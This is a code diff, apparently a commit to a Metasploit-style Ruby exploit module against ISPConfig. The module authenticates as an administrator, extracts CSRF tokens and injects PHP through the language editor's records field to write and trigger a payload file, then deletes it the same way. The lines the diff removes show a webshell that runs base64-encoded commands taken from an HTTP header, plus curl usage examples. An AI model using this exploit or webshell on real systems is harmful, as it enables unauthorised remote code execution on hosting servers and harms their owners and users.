@@ -58,21 +58,16 @@ def initialize(info = {})
58
58
OptString . new ( 'USERNAME' , [ true , 'ISPConfig administrator username' ] ) ,
59
59
OptString . new ( 'PASSWORD' , [ true , 'ISPConfig administrator password' ] )
60
60
] )
61
-
62
- register_advanced_options ( [
63
- OptInt . new ( 'LOGIN_TIMEOUT' , [ true , 'Timeout for login request' , 15 ] ) ,
64
- OptBool . new ( 'DELETE_SHELL' , [ true , 'Delete webshell after session' , true ] )
65
- ] )
66
61
end
67
62
68
63
def check
69
- print_status ( 'Checking if target is ISPConfig...' )
64
+ print_status ( 'Checking if the target is ISPConfig...' )
70
65
res = send_request_cgi ( {
71
66
'method' => 'GET' ,
72
- 'uri' => normalize_uri ( target_uri . path , 'login' , '' )
67
+ 'uri' => normalize_uri ( target_uri . path , 'login' )
73
68
} )
74
69
return CheckCode ::Unknown unless res
75
- if res . body . include? ( 'ISPConfig' ) || res . body . include? ( 'ispconfig' )
70
+ if res . body . include? ( 'ISPConfig' ) && ( res . body . include? ( 'login' ) || res . body . include? ( 'username' ) || res . body . include? ( 'password' ) )
76
71
print_good ( 'ISPConfig installation detected' )
77
72
return CheckCode ::Detected
78
73
end
@@ -83,14 +78,14 @@ def authenticate
83
78
print_status ( "Attempting login with username '#{ datastore [ 'USERNAME' ] } ' and password '#{ datastore [ 'PASSWORD' ] } '" )
84
79
res = send_request_cgi ( {
85
80
'method' => 'POST' ,
86
- 'uri' => normalize_uri ( target_uri . path , 'login' , '' ) ,
81
+ 'uri' => normalize_uri ( target_uri . path , 'login' ) ,
87
82
'vars_post' => {
88
83
'username' => datastore [ 'USERNAME' ] ,
89
84
'password' => datastore [ 'PASSWORD' ] ,
90
85
's_mod' => 'login'
91
86
} ,
92
87
'keep_cookies' => true
93
- } , datastore [ 'LOGIN_TIMEOUT' ] )
88
+ } )
94
89
fail_with ( Failure ::NoAccess , 'Login request failed' ) unless res
95
90
if res . body . match ( /Username or Password wrong/i )
96
91
fail_with ( Failure ::NoAccess , 'Login failed: Invalid credentials' )
@@ -104,24 +99,12 @@ def authenticate
104
99
true
105
100
end
106
101
107
- def generate_random_string ( length = 10 )
108
- charset = ( 'a' ..'z' ) . to_a
109
- Array . new ( length ) { charset . sample } . join
110
- end
111
-
112
- def generate_shell_code
113
- print_status ( 'Generating PHP payload...' )
102
+ def inject_payload
103
+ print_status ( 'Injecting PHP payload...' )
104
+ @payload_file = "#{ Rex ::Text . rand_text_alpha_lower ( 8 ) } .php"
114
105
php_payload = payload . encoded
115
- php_shell = %Q{<?php\n print('____SHELL_START____');\n if(isset($_SERVER['HTTP_CMD'])) {\n $cmd = base64_decode($_SERVER['HTTP_CMD']);\n if($cmd == 'PAYLOAD_TRIGGER') {\n #{ php_payload } \n } elseif($cmd) {\n passthru($cmd);\n }\n } else {\n #{ php_payload } \n }\n print('____SHELL_END____');\n ?>}
116
- Rex ::Text . encode_base64 ( php_shell )
117
- end
118
-
119
- def inject_shell
120
- print_status ( 'Injecting PHP shell...' )
121
- @shell_file = "sh_#{ generate_random_string } .php"
122
- php_code = generate_shell_code
123
- injection = "'];file_put_contents('#{ @shell_file } ',base64_decode('#{ php_code } '));die;#"
124
- lang_file = generate_random_string + ".lng"
106
+ injection = "'];file_put_contents('#{ @payload_file } ','<?php #{ php_payload } ?>');die;#"
107
+ lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + ".lng"
125
108
edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
126
109
initial_data = {
127
110
'lang' => 'en' ,
@@ -133,7 +116,7 @@ def inject_shell
133
116
'uri' => edit_url ,
134
117
'vars_post' => initial_data ,
135
118
'keep_cookies' => true
136
- } , 10 )
119
+ } )
137
120
fail_with ( Failure ::UnexpectedReply , 'Unable to access language_edit.php' ) unless res
138
121
csrf_id_match = res . body . match ( /_csrf_id" value="([^"]+)"/ )
139
122
csrf_key_match = res . body . match ( /_csrf_key" value="([^"]+)"/ )
@@ -142,7 +125,7 @@ def inject_shell
142
125
end
143
126
csrf_id = csrf_id_match [ 1 ]
144
127
csrf_key = csrf_key_match [ 1 ]
145
- print_good ( "CSRF tokens extracted : ID=#{ csrf_id [ 0 ..10 ] } ..., KEY=#{ csrf_key [ 0 ..10 ] } ..." )
128
+ print_good ( "Extracted CSRF tokens: ID=#{ csrf_id [ 0 ..10 ] } ..., KEY=#{ csrf_key [ 0 ..10 ] } ..." )
146
129
injection_data = {
147
130
'lang' => 'en' ,
148
131
'module' => 'help' ,
@@ -156,82 +139,77 @@ def inject_shell
156
139
'uri' => edit_url ,
157
140
'vars_post' => injection_data ,
158
141
'keep_cookies' => true
159
- } , 10 )
142
+ } )
160
143
fail_with ( Failure ::UnexpectedReply , 'Injection request failed' ) unless res
161
- shell_url = normalize_uri ( target_uri . path , 'admin' , @shell_file )
162
- print_status ( 'Verifying shell injection...' )
144
+ payload_url = normalize_uri ( target_uri . path , 'admin' , @payload_file )
145
+ print_good ( "Payload successfully injected: #{ @payload_file } " )
146
+ return payload_url
147
+ end
148
+
149
+ def trigger_payload ( payload_url )
150
+ print_status ( 'Triggering PHP payload...' )
151
+ # Small delay to ensure the file is written
152
+ sleep ( 1 )
163
153
res = send_request_cgi ( {
164
154
'method' => 'GET' ,
165
- 'uri' => shell_url ,
155
+ 'uri' => payload_url ,
166
156
'keep_cookies' => true
167
- } , 5 )
168
- if res && res . body . include? ( 'SHELL_START' ) && res . body . include? ( 'SHELL_END' )
169
- print_good ( "Shell successfully injected: #{ @shell_file } " )
170
- register_file_for_cleanup ( @shell_file ) if datastore [ 'DELETE_SHELL' ]
171
- return shell_url
157
+ } )
158
+ if res && res . code == 200
159
+ print_good ( 'PHP payload triggered successfully' )
172
160
else
173
- fail_with ( Failure :: UnexpectedReply , 'Shell injection failed or shell not accessible ')
161
+ print_warning ( 'Payload trigger response was unexpected ')
174
162
end
175
163
end
176
164
177
- def execute_command ( command , shell_uri = nil )
178
- return nil unless @shell_file
179
- shell_url = shell_uri || normalize_uri ( target_uri . path , 'admin' , @shell_file )
180
- encoded_cmd = Rex ::Text . encode_base64 ( command )
165
+ def cleanup
166
+ return unless @payload_file
167
+ print_status ( 'Cleaning up payload file...' )
168
+ # Use the same vulnerability to delete the file
169
+ injection = "'];unlink('#{ @payload_file } ');die;#"
170
+ lang_file = Rex ::Text . rand_text_alpha_lower ( 10 ) + ".lng"
171
+ edit_url = normalize_uri ( target_uri . path , 'admin' , 'language_edit.php' )
172
+ initial_data = {
173
+ 'lang' => 'en' ,
174
+ 'module' => 'help' ,
175
+ 'lang_file' => lang_file
176
+ }
181
177
res = send_request_cgi ( {
182
- 'method' => 'GET' ,
183
- 'uri' => shell_url ,
184
- 'headers' => {
185
- 'CMD' => encoded_cmd
186
- } ,
178
+ 'method' => 'POST' ,
179
+ 'uri' => edit_url ,
180
+ 'vars_post' => initial_data ,
187
181
'keep_cookies' => true
188
- } , 15 )
189
- return nil unless res
190
- output_match = res . body . match ( /____SHELL_START____(.*?)____SHELL_END____/m )
191
- return output_match [ 1 ] if output_match
192
- nil
193
- end
194
-
195
- def trigger_payload ( shell_uri )
196
- print_status ( 'Triggering PHP payload...' )
197
- framework . threads . spawn ( 'PayloadTrigger' , false ) do
198
- send_request_cgi ( {
199
- 'method' => 'GET' ,
200
- 'uri' => shell_uri ,
201
- 'keep_cookies' => true
202
- } , 10 )
203
- end
204
- framework . threads . spawn ( 'PayloadTriggerManual' , false ) do
205
- select ( nil , nil , nil , 2 )
206
- execute_command ( 'PAYLOAD_TRIGGER' , shell_uri )
207
- end
208
- print_good ( 'PHP payload triggered' )
182
+ } )
183
+ return unless res
184
+ csrf_id_match = res . body . match ( /_csrf_id" value="([^"]+)"/ )
185
+ csrf_key_match = res . body . match ( /_csrf_key" value="([^"]+)"/ )
186
+ return unless csrf_id_match && csrf_key_match
187
+ csrf_id = csrf_id_match [ 1 ]
188
+ csrf_key = csrf_key_match [ 1 ]
189
+ injection_data = {
190
+ 'lang' => 'en' ,
191
+ 'module' => 'help' ,
192
+ 'lang_file' => lang_file ,
193
+ '_csrf_id' => csrf_id ,
194
+ '_csrf_key' => csrf_key ,
195
+ 'records[\\]' => injection
196
+ }
197
+ send_request_cgi ( {
198
+ 'method' => 'POST' ,
199
+ 'uri' => edit_url ,
200
+ 'vars_post' => injection_data ,
201
+ 'keep_cookies' => true
202
+ } )
203
+ print_good ( "Payload file #{ @payload_file } cleaned up" )
209
204
end
210
205
211
206
def exploit
212
207
authenticate
213
- shell_uri = inject_shell
208
+ payload_url = inject_payload
214
209
print_status ( 'Starting payload handler...' )
215
- trigger_payload ( shell_uri )
216
- print_status ( 'Waiting for session...' )
217
- select ( nil , nil , nil , 5 )
218
- if framework . sessions . length == 0
219
- print_warning ( 'No session established automatically' )
220
- print_status ( 'Testing shell functionality...' )
221
- output = execute_command ( 'id' , shell_uri )
222
- if output
223
- print_good ( "Shell responsive: #{ output . strip } " )
224
- print_line ( "\n " + '=' * 60 )
225
- print_status ( 'Shell Access Information:' )
226
- print_line ( "URL: #{ full_uri } #{ shell_uri } " )
227
- print_line ( "Usage: Send base64 encoded commands via 'CMD' HTTP header" )
228
- print_line ( "Manual trigger: curl '#{ full_uri } #{ shell_uri } '" )
229
- print_line ( "Command example: curl -H 'CMD: #{ Rex ::Text . encode_base64 ( 'id' ) } ' '#{ full_uri } #{ shell_uri } '" )
230
- print_line ( '=' * 60 )
231
- else
232
- print_error ( 'Shell test failed' )
233
- print_line ( "Manual test: curl '#{ full_uri } #{ shell_uri } '" )
234
- end
235
- end
210
+ trigger_payload ( payload_url )
211
+ print_status ( 'Manual trigger information:' )
212
+ print_line ( "URL: #{ full_uri } #{ payload_url } " )
213
+ print_line ( "Manual trigger: curl '#{ full_uri } #{ payload_url } '" )
236
214
end
237
215
end
0 commit comments